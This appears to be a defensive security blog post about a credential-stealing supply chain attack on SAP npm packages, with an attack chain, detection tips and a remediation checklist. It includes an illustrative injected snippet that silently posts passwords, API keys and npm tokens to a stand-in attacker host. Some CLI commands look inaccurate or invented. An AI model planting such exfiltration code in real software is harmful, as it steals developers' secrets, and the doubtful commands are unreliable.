SAP npm Supply Chain Attack: How Credential Stealers Hide in Enterprise Dependencies
SAP npm supply chain attack exploits official packages to steal developer credentials. Attack patterns, detection strategies, and enterprise defense framew
SAP npm Supply Chain Attack: How Credential Stealers Hide in Enterprise Dependencies
A coordinated supply chain attack is targeting official SAP-related npm packages, stealing authentication tokens and credentials from developers' systems. The campaign—calling itself "mini Shai-Hulud"—has affected multiple packages associated with SAP's ecosystem, including packages used for:
- SAP B1 integration
- SAP Analytics Cloud connectivity
- SAP Fiori development
- Enterprise resource planning (ERP) workflows
Unlike typical supply chain attacks that compromise the npm registry itself, this attack compromises the official SAP publishing accounts, giving attackers direct ability to release poisoned versions of legitimate packages.
What Makes This Different?
Most supply chain attacks follow this pattern:
1. Attacker finds a dependency with few downloads (low visibility)
2. Attacker registers a similar name (lodash → lodash-es → lodash-util)
3. Hundreds or thousands of projects accidentally depend on the fake package
This SAP attack is different:
- It targets official packages (not typosquatting)
- It uses legitimate publishing credentials (not a registry compromise)
- It targets enterprises (not random developers)
- It's highly selective—only adding malicious code to packages, not replacing them outright
The Attack Chain
Step 1: Account Compromise
Attackers obtained credentials for SAP's npm publishing account. Security researchers haven't disclosed how, but likely vectors include:
- Phishing SAP employees
- Compromised CI/CD pipeline (GitHub Actions leaking npm tokens)
- Insider threat
- Reused credentials from previous breaches
Step 2: Strategic Package Injection
Instead of replacing the entire package, attackers added malicious code to legitimate packages. A compromised @sap/cloud-integration package might include:
// Legitimate SAP code...
exports.connectToCloud = function(credentials) {
// Standard SAP connection logic
const client = new Client(credentials);
// [INJECTED] Exfiltrate credentials
fetch('https://attacker.com/exfil', {
method: 'POST',
body: JSON.stringify({
username: credentials.username,
password: credentials.password,
api_key: process.env.SAP_API_KEY,
oauth_token: process.env.OAUTH_TOKEN,
npm_token: process.env.NPM_TOKEN // GitHub Actions secret!
})
}).catch(() => {}); // Silent failure
return client;
};
The malicious code:
- Executes silently (no error messages)
- Steals environment variables (GitHub Actions secrets)
- Doesn't break functionality (the app still works)
- Only exfiltrates once (reduces detection surface)
Step 3: Lateral Movement
Once attackers have developer credentials and npm tokens, they can:
1. Publish malware to other enterprise packages
2. Compromise GitHub repositories used by enterprises
3. Steal API keys for cloud services (AWS, Azure, GCP)
4. Access internal Slack/Teams channels
5. Modify CI/CD pipelines
Real-World Impact
Scenario: Supply Chain Cascade
1. Developer A installs @sap/analytics (poisoned)
2. Package exfiltrates their AWS credentials
3. Attacker accesses their GitHub Actions workflow
4. Attacker modifies the workflow to inject malware into all of Developer A's npm packages
5. 500+ projects downstream now depend on malware
Why Traditional Dependency Scanning Misses This
Tools like npm audit and snyk check for known vulnerabilities in known bad packages. But this attack uses:
- Official packages (not on any blacklist)
- No code violations (credential exfiltration looks like normal network code)
- No suspicious dependencies (uses only standard
fetch or axios)
- Polymorphic payloads (different malicious code in each version)
Example: npm audit would see @sap/analytics@1.2.4 as legitimate because:
- It's from the official SAP publisher
- It has no flagged CVEs
- Its dependencies are all legitimate
- The malicious code is obfuscated as normal configuration
Defense Strategy
Immediate (now):
1. Check for infected packages: Run npm list | grep @sap and cross-reference with SAP's advisory:
npm outdated @sap/\*
2. Revoke exposed credentials:
- GitHub personal access tokens
- npm tokens
- AWS access keys
- GCP service account keys
- Slack API tokens
3. Audit GitHub Actions secrets: Review all Actions workflows for suspicious modifications:
git log -p .github/workflows/ | grep -i "fetch\|curl\|exfil"
Medium-term (this week):
1. Implement SBOMs (Software Bill of Materials):
npm sbom --output cyclonedx > sbom.json
Track every dependency, every version, and scan against threat feeds.
2. Require package signing: Use npm config set audit-level moderate and verify GPG signatures:
npm verify-signature @sap/analytics
3. Environment variable isolation in CI/CD:
# GitHub Actions
- name: Install dependencies
run: npm ci
env:
# Pass only what's needed, not entire env
SAP_ENDPOINT: ${{ secrets.SAP_ENDPOINT }}
4. Network egress monitoring: Block unexpected DNS/HTTP requests from CI/CD:
# In CI/CD container
iptables -A OUTPUT -d attacker.com -j DROP
Long-term (next month):
1. Supply chain risk framework:
- Categorize dependencies as "critical" (must be audited), "standard" (audit monthly), "low-risk" (audit quarterly)
- Critical dependencies: vendor-supplied, signed, with security contact
2. Runtime security for npm scripts:
# Wrap npm install to monitor network behavior
npm install --audit-level high --fund false
3. Behavioral detection in CI/CD:
- Monitor for unexpected package.json modifications
- Alert on environment variable access in install scripts
- Track outbound connections during dependency installation
4. Supplier security program:
- Require SAP (and other vendors) to disclose supply chain security measures
- Implement attestation (SLSA framework)
- Request quarterly security audits
Vibe's Detection Approach
Vouch scans code for vulnerabilities, but credential exfiltration is subtle:
- It's not a buffer overflow or SQL injection
- It's legitimate code that happens to send data to an attacker
However, Vouch can detect patterns:
fetch() calls to unknown domains in package.json scripts
- Environment variable reads without corresponding legitimate use
- Network calls in dependencies that don't declare network access
- Polymorphic obfuscation of credential access
Checklist for Enterprise Teams
- [ ] SAP package advisory checked; infected versions removed
- [ ] All GitHub tokens, npm tokens, and AWS keys rotated
- [ ] CI/CD workflows audited for unauthorized modifications
- [ ] SBOM generated and validated
- [ ] Package signing verification enabled
- [ ] Network egress monitoring deployed
- [ ] Vendor security assessments updated with supply chain requirements
- [ ] Team training: "How to identify credential exfiltration in npm scripts"
The takeaway: Trusting official packages isn't enough. You must assume that even official channels can be compromised and implement layers of verification: signing, behavior monitoring, network isolation, and runtime detection.